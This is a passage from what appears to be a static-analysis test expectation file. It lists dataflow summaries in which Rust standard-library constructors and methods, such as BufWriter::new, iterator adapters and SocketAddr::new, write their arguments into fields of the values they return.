ReturnValue.Field[crate::io::buffered::bufwriter::BufWriter::buf] in lang:std::_::::with_buffer | BufWriter.buf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::with_buffer | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::buffered::bufwriter::BufWriter::inner] in lang:std::_::::new | BufWriter.inner | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::buffered::bufwriter::BufWriter::inner] in lang:std::_::::with_buffer | BufWriter.inner | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::with_buffer | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::buffered::bufwriter::BufWriter::inner] in lang:std::_::::with_capacity | BufWriter.inner | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::with_capacity | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::buffered::linewriter::LineWriter::inner] in lang:std::_::::new | LineWriter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::buffered::linewriter::LineWriter::inner] in lang:std::_::::with_capacity | LineWriter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::with_capacity | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::buffered::linewriter::LineWriter::inner].Field[crate::io::buffered::bufwriter::BufWriter::inner] in lang:std::_::::new | BufWriter.inner | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::buffered::linewriter::LineWriter::inner] in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::buffered::linewriter::LineWriter::inner].Field[crate::io::buffered::bufwriter::BufWriter::inner] in lang:std::_::::with_capacity | BufWriter.inner | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::buffered::linewriter::LineWriter::inner] in lang:std::_::::with_capacity | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::buffered::linewritershim::LineWriterShim::buffer] in lang:std::_::::new | LineWriterShim | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::cursor::Cursor::inner] in lang:std::_::::new | Cursor.inner | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::util::Repeat::byte] in lang:std::_::crate::io::util::repeat | Repeat | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::crate::io::util::repeat | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::array_chunks::ArrayChunks::iter] in lang:core::_::::new | ArrayChunks.iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::chain::Chain::a] in lang:core::_::::new | Chain.a | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::chain::Chain::a].Field[crate::option::Option::Some(0)] in lang:core::_::::new | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::chain::Chain::a] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::chain::Chain::b] in lang:core::_::::new | Chain.b | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::chain::Chain::b].Field[crate::option::Option::Some(0)] in lang:core::_::::new | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::chain::Chain::b] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::cloned::Cloned::it] in lang:core::_::::new | Cloned | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::copied::Copied::it] in lang:core::_::::new | Copied | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::enumerate::Enumerate::iter] in lang:core::_::::new | Enumerate.iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::filter::Filter::iter] in lang:core::_::::new | Filter.iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::filter::Filter::predicate] in lang:core::_::::new | Filter.predicate | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::filter_map::FilterMap::f] in lang:core::_::::new | FilterMap.f | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::filter_map::FilterMap::iter] in lang:core::_::::new | FilterMap.iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::flatten::FlatMap::inner] in lang:core::_::::clone | FlatMap | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::flatten::Flatten::inner] in lang:core::_::::clone | Flatten | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::fuse::Fuse::iter] in lang:core::_::::new | Fuse | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::fuse::Fuse::iter].Field[crate::option::Option::Some(0)] in lang:core::_::::new | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::fuse::Fuse::iter] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::inspect::Inspect::f] in lang:core::_::::new | Inspect.f | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::inspect::Inspect::iter] in lang:core::_::::new | Inspect.iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::intersperse::Intersperse::separator] in lang:core::_::::new | Intersperse.separator | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::intersperse::IntersperseWith::separator] in lang:core::_::::new | IntersperseWith.separator | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::map::Map::f] in lang:core::_::::new | Map.f | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::map::Map::iter] in lang:core::_::::new | Map.iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::map_while::MapWhile::iter] in lang:core::_::::new | MapWhile.iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::map_while::MapWhile::predicate] in lang:core::_::::new | MapWhile.predicate | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::map_windows::Buffer::start] in lang:core::_::::clone | Buffer.start | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::map_windows::MapWindows::f] in lang:core::_::::new | MapWindows.f | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::peekable::Peekable::iter] in lang:core::_::::new | Peekable.iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::rev::Rev::iter] in lang:core::_::::new | Rev | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::scan::Scan::f] in lang:core::_::::new | Scan.f | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::scan::Scan::iter] in lang:core::_::::new | Scan.iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::scan::Scan::state] in lang:core::_::::new | Scan.state | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::skip::Skip::iter] in lang:core::_::::new | Skip.iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::skip::Skip::n] in lang:core::_::::new | Skip.n | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::skip_while::SkipWhile::iter] in lang:core::_::::new | SkipWhile.iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::skip_while::SkipWhile::predicate] in lang:core::_::::new | SkipWhile.predicate | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::take::Take::iter] in lang:core::_::::new | Take.iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::take::Take::n] in lang:core::_::::new | Take.n | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::take_while::TakeWhile::iter] in lang:core::_::::new | TakeWhile.iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::take_while::TakeWhile::predicate] in lang:core::_::::new | TakeWhile.predicate | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::zip::Zip::a] in lang:core::_::::new | Zip.a | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::adapters::zip::Zip::b] in lang:core::_::::new | Zip.b | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::sources::from_coroutine::FromCoroutine(0)] in lang:core::_::crate::iter::sources::from_coroutine::from_coroutine | FromCoroutine | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::sources::from_coroutine::from_coroutine | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::sources::from_fn::FromFn(0)] in lang:core::_::crate::iter::sources::from_fn::from_fn | FromFn | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::sources::from_fn::from_fn | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::sources::repeat::Repeat::element] in lang:core::_::crate::iter::sources::repeat::repeat | Repeat | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::sources::repeat::repeat | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::sources::repeat_n::RepeatN::count] in lang:core::_::::clone | RepeatN.count | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::sources::repeat_n::RepeatN::count] in lang:core::_::crate::iter::sources::repeat_n::repeat_n | RepeatN.count | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::sources::repeat_n::repeat_n | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::sources::repeat_with::RepeatWith::repeater] in lang:core::_::crate::iter::sources::repeat_with::repeat_with | RepeatWith | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::sources::repeat_with::repeat_with | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::sources::successors::Successors::next] in lang:core::_::crate::iter::sources::successors::successors | Successors.next | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::sources::successors::successors | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::iter::sources::successors::Successors::succ] in lang:core::_::crate::iter::sources::successors::successors | Successors.succ | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::sources::successors::successors | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::mem::manually_drop::ManuallyDrop::value] in lang:core::_::::new | ManuallyDrop | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::IpAddr::V4(0)] in lang:core::_::::from | V4 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::IpAddr::V4(0)].Field[crate::net::ip_addr::Ipv4Addr::octets] in lang:core::_::::from | Ipv4Addr | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::IpAddr::V4(0)] in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::IpAddr::V6(0)] in lang:core::_::::from | V6 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::IpAddr::V6(0)] in lang:core::_::::to_canonical | V6 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::to_canonical | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::IpAddr::V6(0)].Field[crate::net::ip_addr::Ipv6Addr::octets] in lang:core::_::::from | Ipv6Addr | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::IpAddr::V6(0)] in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::Ipv4Addr::octets] in lang:core::_::::from | Ipv4Addr | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::Ipv4Addr::octets] in lang:core::_::::from_octets | Ipv4Addr | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_octets | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::Ipv4Addr::octets] in lang:core::_::::new | Ipv4Addr | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::Ipv4Addr::octets].Element in lang:core::_::::new | element | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::Ipv4Addr::octets] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::Ipv6Addr::octets] in lang:core::_::::to_ipv6_compatible | Ipv6Addr | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::to_ipv6_compatible | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::Ipv6Addr::octets] in lang:core::_::::to_ipv6_mapped | Ipv6Addr | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::to_ipv6_mapped | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::Ipv6Addr::octets] in lang:core::_::::from | Ipv6Addr | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::Ipv6Addr::octets] in lang:core::_::::from_octets | Ipv6Addr | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_octets | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::Ipv6Addr::octets].Element in lang:core::_::::to_ipv6_compatible | element | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::Ipv6Addr::octets] in lang:core::_::::to_ipv6_compatible | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::Ipv6Addr::octets].Element in lang:core::_::::to_ipv6_mapped | element | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::ip_addr::Ipv6Addr::octets] in lang:core::_::::to_ipv6_mapped | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V4(0)] in lang:core::_::::from | V4 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V4(0)] in lang:core::_::::new | V4 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V4(0)].Field[crate::net::socket_addr::SocketAddrV4::ip] in lang:core::_::::new | SocketAddrV4.ip | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V4(0)] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V4(0)].Field[crate::net::socket_addr::SocketAddrV4::port] in lang:core::_::::from | SocketAddrV4.port | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V4(0)] in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V4(0)].Field[crate::net::socket_addr::SocketAddrV4::port] in lang:core::_::::new | SocketAddrV4.port | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V4(0)] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V6(0)] in lang:core::_::::from | V6 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V6(0)] in lang:core::_::::new | V6 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V6(0)].Field[crate::net::socket_addr::SocketAddrV6::ip] in lang:core::_::::new | SocketAddrV6.ip | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V6(0)] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V6(0)].Field[crate::net::socket_addr::SocketAddrV6::port] in lang:core::_::::from | SocketAddrV6.port | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V6(0)] in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V6(0)].Field[crate::net::socket_addr::SocketAddrV6::port] in lang:core::_::::new | SocketAddrV6.port | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddr::V6(0)] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddrV4::ip] in lang:core::_::::new | SocketAddrV4.ip | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddrV4::port] in lang:core::_::::new | SocketAddrV4.port | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddrV6::flowinfo] in lang:core::_::::new | SocketAddrV6.flowinfo | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddrV6::ip] in lang:core::_::::new | SocketAddrV6.ip | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddrV6::port] in lang:core::_::::new | SocketAddrV6.port | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::socket_addr::SocketAddrV6::scope_id] in lang:core::_::::new | SocketAddrV6.scope_id | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::tcp::Incoming::listener] in lang:std::_::::incoming | Incoming | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::incoming | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::tcp::IntoIncoming::listener] in lang:std::_::::into_incoming | IntoIncoming | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::into_incoming | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::tcp::TcpListener(0)] in lang:std::_::::from_inner | TcpListener | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::tcp::TcpStream(0)] in lang:std::_::::from_inner | TcpStream | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::net::udp::UdpSocket(0)] in lang:std::_::::from_inner | UdpSocket | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::base] in lang:core::_::::clone | Big32x40.base | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::base] in lang:core::_::::from_small | Big32x40.base | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_small | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::base] in lang:core::_::::mul_pow2 | Big32x40.base | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::mul_pow2 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::base] in lang:core::_::crate::num::flt2dec::strategy::dragon::mul_pow10 | Big32x40.base | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::num::flt2dec::strategy::dragon::mul_pow10 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::base].Element in lang:core::_::::from_small | element | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::base] in lang:core::_::::from_small | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::base].Element in lang:core::_::::mul_pow2 | element | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::base] in lang:core::_::::mul_pow2 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::base].Element in lang:core::_::crate::num::flt2dec::strategy::dragon::mul_pow10 | element | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::base] in lang:core::_::crate::num::flt2dec::strategy::dragon::mul_pow10 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::size] in lang:core::_::::clone | Big32x40.size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::size] in lang:core::_::::add | Big32x40.size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::add | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::size] in lang:core::_::::mul_small | Big32x40.size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::mul_small | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::size] in lang:core::_::::sub | Big32x40.size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::sub | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::Big32x40::size] in lang:core::_::crate::num::flt2dec::strategy::dragon::mul_pow10 | Big32x40.size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::num::flt2dec::strategy::dragon::mul_pow10 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::tests::Big8x3::base] in lang:core::_::::clone | Big8x3.base | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::tests::Big8x3::base] in lang:core::_::::from_small | Big8x3.base | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_small | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::tests::Big8x3::base] in lang:core::_::::mul_pow2 | Big8x3.base | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::mul_pow2 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::tests::Big8x3::base].Element in lang:core::_::::from_small | element | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::tests::Big8x3::base] in lang:core::_::::from_small | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::tests::Big8x3::base].Element in lang:core::_::::mul_pow2 | element | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::tests::Big8x3::base] in lang:core::_::::mul_pow2 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::clone | Big8x3.size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::add | Big8x3.size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::add | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::mul_small | Big8x3.size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::mul_small | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::sub | Big8x3.size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::sub | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::dec2flt::common::BiasedFp::e] in lang:core::_::::zero_pow2 | BiasedFp.e | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::zero_pow2 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::diy_float::Fp::e] in lang:core::_::::normalize | Fp.e | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::normalize | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::diy_float::Fp::e] in lang:core::_::::normalize_to | Fp.e | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::normalize_to | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::num::diy_float::Fp::f] in lang:core::_::::normalize | Fp.f | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::normalize | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::ops::control_flow::ControlFlow::Break(0)] in lang:core::_::::from_residual | Break | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_residual | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::ops::control_flow::ControlFlow::Break(0)] in lang:core::_::::branch | Break | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::branch | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::ops::control_flow::ControlFlow::Break(0)] in lang:core::_::::map_break | Break | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map_break | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::ops::control_flow::ControlFlow::Break(0)] in lang:core::_::::map_continue | Break | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map_continue | +| file://:0:0:0:0 | [summary] to write: 